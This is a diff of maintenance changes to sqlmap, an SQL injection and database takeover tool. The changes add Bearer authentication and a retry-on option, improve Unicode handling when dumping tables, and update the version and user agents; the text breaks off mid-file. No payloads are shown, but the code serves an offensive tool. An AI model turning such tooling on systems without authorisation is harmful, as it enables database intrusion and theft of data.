|
||||||
@@ -114,6 +116,9 @@ class Dump(object):
|
|||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
|
|
||||||
|
if isListLike(data) and len(data) == 1:
|
||||||
|
data = unArrayizeValue(data)
|
||||||
|
|
||||||
if isListLike(data):
|
if isListLike(data):
|
||||||
self.lister(header, data, content_type, sort)
|
self.lister(header, data, content_type, sort)
|
||||||
elif data is not None:
|
elif data is not None:
|
||||||
@@ -200,9 +205,9 @@ class Dump(object):
|
|||||||
self._write("%s:" % header)
|
self._write("%s:" % header)
|
||||||
|
|
||||||
for user in users:
|
for user in users:
|
||||||
settings = userSettings[user]
|
settings = filterNone(userSettings[user])
|
||||||
|
|
||||||
if settings is None:
|
if isNoneValue(settings):
|
||||||
stringSettings = ""
|
stringSettings = ""
|
||||||
else:
|
else:
|
||||||
stringSettings = " [%d]:" % len(settings)
|
stringSettings = " [%d]:" % len(settings)
|
||||||
@@ -402,7 +407,10 @@ class Dump(object):
|
|||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
||||||
|
|
||||||
|
try:
|
||||||
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
|
||||||
|
except UnicodeError:
|
||||||
|
dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
|
||||||
|
|
||||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||||
replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
|
replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
|
||||||
@@ -609,7 +617,7 @@ class Dump(object):
|
|||||||
_ = safechardecode(value, True)
|
_ = safechardecode(value, True)
|
||||||
f.write(_)
|
f.write(_)
|
||||||
|
|
||||||
except magic.MagicException as ex:
|
except Exception as ex:
|
||||||
logger.debug(getSafeExString(ex))
|
logger.debug(getSafeExString(ex))
|
||||||
|
|
||||||
if conf.dumpFormat == DUMP_FORMAT.CSV:
|
if conf.dumpFormat == DUMP_FORMAT.CSV:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -201,16 +201,16 @@ class HASH(object):
|
|||||||
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html
|
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html
|
||||||
class MOBILES(object):
|
class MOBILES(object):
|
||||||
BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+")
|
BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+")
|
||||||
GALAXY = ("Samsung Galaxy S7", "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36")
|
GALAXY = ("Samsung Galaxy S8", "Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.0.0.50263AP")
|
||||||
HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)")
|
HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)")
|
||||||
HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36")
|
HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36")
|
||||||
HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36")
|
HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36")
|
||||||
IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1")
|
IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1")
|
||||||
LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977")
|
LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15063")
|
||||||
NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19")
|
NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19")
|
||||||
NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344")
|
NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344")
|
||||||
PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36")
|
PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 10; Pixel) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.117 Mobile Safari/537.36")
|
||||||
XIAOMI = ("Xiaomi Mi 3", "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1")
|
XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36")
|
||||||
|
|
||||||
class PROXY_TYPE(object):
|
class PROXY_TYPE(object):
|
||||||
HTTP = "HTTP"
|
HTTP = "HTTP"
|
||||||
@@ -402,6 +402,7 @@ class CONTENT_STATUS(object):
|
|||||||
class AUTH_TYPE(object):
|
class AUTH_TYPE(object):
|
||||||
BASIC = "basic"
|
BASIC = "basic"
|
||||||
DIGEST = "digest"
|
DIGEST = "digest"
|
||||||
|
BEARER = "bearer"
|
||||||
NTLM = "ntlm"
|
NTLM = "ntlm"
|
||||||
PKI = "pki"
|
PKI = "pki"
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -20,6 +20,7 @@ from lib.core.data import paths
|
|||||||
from lib.core.defaults import defaults
|
from lib.core.defaults import defaults
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
from lib.core.exception import SqlmapMissingDependence
|
from lib.core.exception import SqlmapMissingDependence
|
||||||
|
from lib.core.exception import SqlmapSystemException
|
||||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import ISSUES_PAGE
|
from lib.core.settings import ISSUES_PAGE
|
||||||
@@ -72,7 +73,12 @@ def runGui(parser):
|
|||||||
tab = event.widget.nametowidget(event.widget.select())
|
tab = event.widget.nametowidget(event.widget.select())
|
||||||
event.widget.configure(height=tab.winfo_reqheight())
|
event.widget.configure(height=tab.winfo_reqheight())
|
||||||
|
|
||||||
|
try:
|
||||||
window = _tkinter.Tk()
|
window = _tkinter.Tk()
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex)
|
||||||
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
window.title(VERSION_STRING)
|
window.title(VERSION_STRING)
|
||||||
|
|
||||||
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
|
# Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
|
||||||
@@ -217,7 +223,7 @@ def runGui(parser):
|
|||||||
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
|
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
|
||||||
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
|
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
|
||||||
helpmenu.add_separator()
|
helpmenu.add_separator()
|
||||||
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2021\n\n (%s)" % DEV_EMAIL_ADDRESS))
|
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2022\n\n (%s)" % DEV_EMAIL_ADDRESS))
|
||||||
menubar.add_cascade(label="Help", menu=helpmenu)
|
menubar.add_cascade(label="Help", menu=helpmenu)
|
||||||
|
|
||||||
window.config(menu=menubar)
|
window.config(menu=menubar)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -76,6 +76,7 @@ from lib.core.enums import ADJUST_TIME_DELAY
|
|||||||
from lib.core.enums import AUTH_TYPE
|
from lib.core.enums import AUTH_TYPE
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
from lib.core.enums import CUSTOM_LOGGING
|
||||||
from lib.core.enums import DUMP_FORMAT
|
from lib.core.enums import DUMP_FORMAT
|
||||||
|
from lib.core.enums import FORK
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
@@ -727,7 +728,7 @@ def _setDBMS():
|
|||||||
|
|
||||||
if conf.dbms not in SUPPORTED_DBMS:
|
if conf.dbms not in SUPPORTED_DBMS:
|
||||||
errMsg = "you provided an unsupported back-end database management "
|
errMsg = "you provided an unsupported back-end database management "
|
||||||
errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT))
|
errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower))
|
||||||
errMsg += "If you do not know the back-end DBMS, do not provide "
|
errMsg += "If you do not know the back-end DBMS, do not provide "
|
||||||
errMsg += "it and sqlmap will fingerprint it for you."
|
errMsg += "it and sqlmap will fingerprint it for you."
|
||||||
raise SqlmapUnsupportedDBMSException(errMsg)
|
raise SqlmapUnsupportedDBMSException(errMsg)
|
||||||
@@ -811,7 +812,7 @@ def _setTamperingFunctions():
|
|||||||
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
|
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
|
||||||
|
|
||||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs":
|
if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect, "getargspec") and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"):
|
||||||
found = True
|
found = True
|
||||||
kb.tamperFunctions.append(function)
|
kb.tamperFunctions.append(function)
|
||||||
function.__name__ = module.__name__
|
function.__name__ = module.__name__
|
||||||
@@ -1310,7 +1311,7 @@ def _setAuthCred():
|
|||||||
|
|
||||||
def _setHTTPAuthentication():
|
def _setHTTPAuthentication():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI),
|
Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI),
|
||||||
username and password for first three methods, or PEM private key file for
|
username and password for first three methods, or PEM private key file for
|
||||||
PKI authentication
|
PKI authentication
|
||||||
"""
|
"""
|
||||||
@@ -1333,9 +1334,9 @@ def _setHTTPAuthentication():
|
|||||||
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
|
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
|
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
|
||||||
errMsg = "HTTP authentication type value must be "
|
errMsg = "HTTP authentication type value must be "
|
||||||
errMsg += "Basic, Digest, NTLM or PKI"
|
errMsg += "Basic, Digest, Bearer, NTLM or PKI"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if not conf.authFile:
|
if not conf.authFile:
|
||||||
@@ -1348,6 +1349,9 @@ def _setHTTPAuthentication():
|
|||||||
regExp = "^(.*?):(.*?)$"
|
regExp = "^(.*?):(.*?)$"
|
||||||
errMsg = "HTTP %s authentication credentials " % authType
|
errMsg = "HTTP %s authentication credentials " % authType
|
||||||
errMsg += "value must be in format 'username:password'"
|
errMsg += "value must be in format 'username:password'"
|
||||||
|
elif authType == AUTH_TYPE.BEARER:
|
||||||
|
conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
|
||||||
|
return
|
||||||
elif authType == AUTH_TYPE.NTLM:
|
elif authType == AUTH_TYPE.NTLM:
|
||||||
regExp = "^(.*\\\\.*):(.*?)$"
|
regExp = "^(.*\\\\.*):(.*?)$"
|
||||||
errMsg = "HTTP NTLM authentication credentials value must "
|
errMsg = "HTTP NTLM authentication credentials value must "
|
||||||
@@ -1997,6 +2001,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.cache = AttribDict()
|
kb.cache = AttribDict()
|
||||||
kb.cache.addrinfo = {}
|
kb.cache.addrinfo = {}
|
||||||
kb.cache.content = {}
|
kb.cache.content = {}
|
||||||
|
kb.cache.comparison = {}
|
||||||
kb.cache.encoding = {}
|
kb.cache.encoding = {}
|
||||||
kb.cache.alphaBoundaries = None
|
kb.cache.alphaBoundaries = None
|
||||||
kb.cache.hashRegex = None
|
kb.cache.hashRegex = None
|
||||||
@@ -2085,6 +2090,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.maxConnectionsFlag = False
|
kb.maxConnectionsFlag = False
|
||||||
kb.mergeCookies = None
|
kb.mergeCookies = None
|
||||||
|
kb.multiThreadMode = False
|
||||||
kb.multipleCtrlC = False
|
kb.multipleCtrlC = False
|
||||||
kb.negativeLogic = False
|
kb.negativeLogic = False
|
||||||
kb.nchar = True
|
kb.nchar = True
|
||||||
@@ -2553,6 +2559,10 @@ def _basicOptionValidation():
|
|||||||
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
|
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.base64Parameter and conf.tamper:
|
||||||
|
errMsg = "option '--base64' is incompatible with option '--tamper'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.eta and conf.verbose > defaults.verbose:
|
if conf.eta and conf.verbose > defaults.verbose:
|
||||||
errMsg = "switch '--eta' is incompatible with option '-v'"
|
errMsg = "switch '--eta' is incompatible with option '-v'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2638,6 +2648,22 @@ def _basicOptionValidation():
|
|||||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.retryOn:
|
||||||
|
try:
|
||||||
|
re.compile(conf.retryOn)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex))
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.retries == defaults.retries:
|
||||||
|
conf.retries = 5 * conf.retries
|
||||||
|
|
||||||
|
warnMsg = "increasing default value for "
|
||||||
|
warnMsg += "option '--retries' to %d because " % conf.retries
|
||||||
|
warnMsg += "option '--retry-on' was provided"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
if conf.cookieDel and len(conf.cookieDel):
|
if conf.cookieDel and len(conf.cookieDel):
|
||||||
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
|
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -54,6 +54,7 @@ optDict = {
|
|||||||
"delay": "float",
|
"delay": "float",
|
||||||
"timeout": "float",
|
"timeout": "float",
|
||||||
"retries": "integer",
|
"retries": "integer",
|
||||||
|
"retryOn": "string",
|
||||||
"rParam": "string",
|
"rParam": "string",
|
||||||
"safeUrl": "string",
|
"safeUrl": "string",
|
||||||
"safePost": "string",
|
"safePost": "string",
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,12 +1,13 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|
||||||
|
from lib.core.common import cleanReplaceUnicode
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
@@ -29,7 +30,7 @@ class Replication(object):
|
|||||||
self.cursor = self.connection.cursor()
|
self.cursor = self.connection.cursor()
|
||||||
except sqlite3.OperationalError as ex:
|
except sqlite3.OperationalError as ex:
|
||||||
errMsg = "error occurred while opening a replication "
|
errMsg = "error occurred while opening a replication "
|
||||||
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex))
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
|
||||||
class DataType(object):
|
class DataType(object):
|
||||||
@@ -80,8 +81,11 @@ class Replication(object):
|
|||||||
raise SqlmapValueException(errMsg)
|
raise SqlmapValueException(errMsg)
|
||||||
|
|
||||||
def execute(self, sql, parameters=None):
|
def execute(self, sql, parameters=None):
|
||||||
|
try:
|
||||||
try:
|
try:
|
||||||
self.parent.cursor.execute(sql, parameters or [])
|
self.parent.cursor.execute(sql, parameters or [])
|
||||||
|
except UnicodeError:
|
||||||
|
self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or []))
|
||||||
except sqlite3.OperationalError as ex:
|
except sqlite3.OperationalError as ex:
|
||||||
errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
|
errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
|
||||||
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -11,19 +11,21 @@ import random
|
|||||||
import re
|
import re
|
||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
|
from thirdparty import six
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.5.3.0"
|
VERSION = "1.6"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
||||||
SITE = "http://sqlmap.org"
|
SITE = "https://sqlmap.org"
|
||||||
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
|
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
|
||||||
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
|
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
|
||||||
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
||||||
@@ -105,7 +107,7 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|conv
|
|||||||
FUZZ_UNION_MAX_COLUMNS = 10
|
FUZZ_UNION_MAX_COLUMNS = 10
|
||||||
|
|
||||||
# Regular expression used for recognition of generic maximum connection messages
|
